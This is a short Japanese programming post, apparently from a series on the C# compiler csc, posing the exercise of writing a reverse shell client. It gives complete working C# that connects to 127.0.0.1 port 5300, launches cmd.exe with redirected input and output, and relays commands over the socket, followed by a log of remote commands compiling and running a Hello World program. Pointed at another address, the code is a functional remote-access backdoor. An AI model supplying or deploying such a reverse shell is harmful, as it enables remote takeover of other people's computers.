cscの作法 その232

# 概要
cscの作法、調べてみた。
練習問題やってみた。

# 練習問題
reverse shellのclientを実装せよ。

# 方針
- アドレス127.0.0.1 ポート5300を使う。
- 接続する。
- コマンドを受信して、結果を返す。

# サンプルコード

```
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;

public class client {
	public static TcpClient tcpClient;
	public static NetworkStream stream;
	public static StreamReader streamReader;
	public static StreamWriter streamWriter;
	public static StringBuilder UserInput;
	public static void SortOutputHandler(object sendingProcess, DataReceivedEventArgs outLine) {
		StringBuilder strOutput = new StringBuilder();
		if (!String.IsNullOrEmpty(outLine.Data))
		{
			try
			{
				strOutput.Append(outLine.Data);
				streamWriter.WriteLine(strOutput);
				streamWriter.Flush();
			}
			catch (Exception)
			{
			}
		}
	}
	public static void Main(string[] args) {
		tcpClient = new TcpClient();
		UserInput = new StringBuilder();
		if (!tcpClient.Connected)
		{
			try
			{
				tcpClient.Connect("127.0.0.1", 5300);
				stream = tcpClient.GetStream();
				streamReader = new StreamReader(stream, System.Text.Encoding.Default);
				streamWriter = new StreamWriter(stream, System.Text.Encoding.Default);
			}
			catch (Exception)
			{
				return;
			}
			Process CmdProc;
			CmdProc = new Process();
			CmdProc.StartInfo.FileName = "cmd.exe";
			CmdProc.StartInfo.UseShellExecute = false;
			CmdProc.StartInfo.RedirectStandardInput = true;
			CmdProc.StartInfo.RedirectStandardOutput = true;
			CmdProc.StartInfo.RedirectStandardError = true;
			CmdProc.OutputDataReceived += new DataReceivedEventHandler(SortOutputHandler);
			CmdProc.ErrorDataReceived += new DataReceivedEventHandler(SortOutputHandler);
			CmdProc.Start();
			CmdProc.BeginOutputReadLine();
			CmdProc.BeginErrorReadLine();
			while (true)
			{
				try
				{
					UserInput.Append(streamReader.ReadLine());
					CmdProc.StandardInput.WriteLine(UserInput);
					UserInput.Remove(0, UserInput.Length);
				}
				catch (Exception)
				{
					streamReader.Close();
					streamWriter.Close();
					CmdProc.Kill();
					break;
				}
			}
		}
	}
}



```

# 実行結果

```
>revs1
listen:
connect:
echo using System; > hello3.cs
echo using System; > hello3.cs
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.
>


>echo using System; > hello3.cs
>
echo class Hello { >> hello3.cs
echo class Hello { >> hello3.cs
>
>


>echo class Hello { >> hello3.cs
>
echo    static void Main()    { >> hello3.cs
echo    static void Main()    { >> hello3.cs
>
>
echo       Console.WriteLine("Hello, World"); >> hello3.cs
echo       Console.WriteLine("Hello, World"); >> hello3.cs
>echo    static void Main()    { >> hello3.cs
>
echo    } >> hello3.cs
echo    } >> hello3.cs
>echo       Console.WriteLine("Hello, World"); >> hello3.cs
>
echo } >> hello3.cs
echo } >> hello3.cs
>echo    } >> hello3.cs
>
type hello3.cs
type hello3.cs
>echo } >> hello3.cs
>


>type hello3.cs
using System;
class Hello {
   static void Main()    {
      Console.WriteLine("Hello, World");
   }
}
>
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe hello3.cs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe hello3.cs
>
>


C:\Users\kuro\csc>C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe hello3.cs
Microsoft(R) Visual C# 2005 Compiler version 8.00.50727.8784
for Microsoft(R) Windows(R) 2005 Framework version 2.0.50727
Copyright (C) Microsoft Corporation 2001-2005. All rights reserved.
>


>
>
hello3
hello3
>
>


>hello3
Hello, World
>
bay

>

```

以上。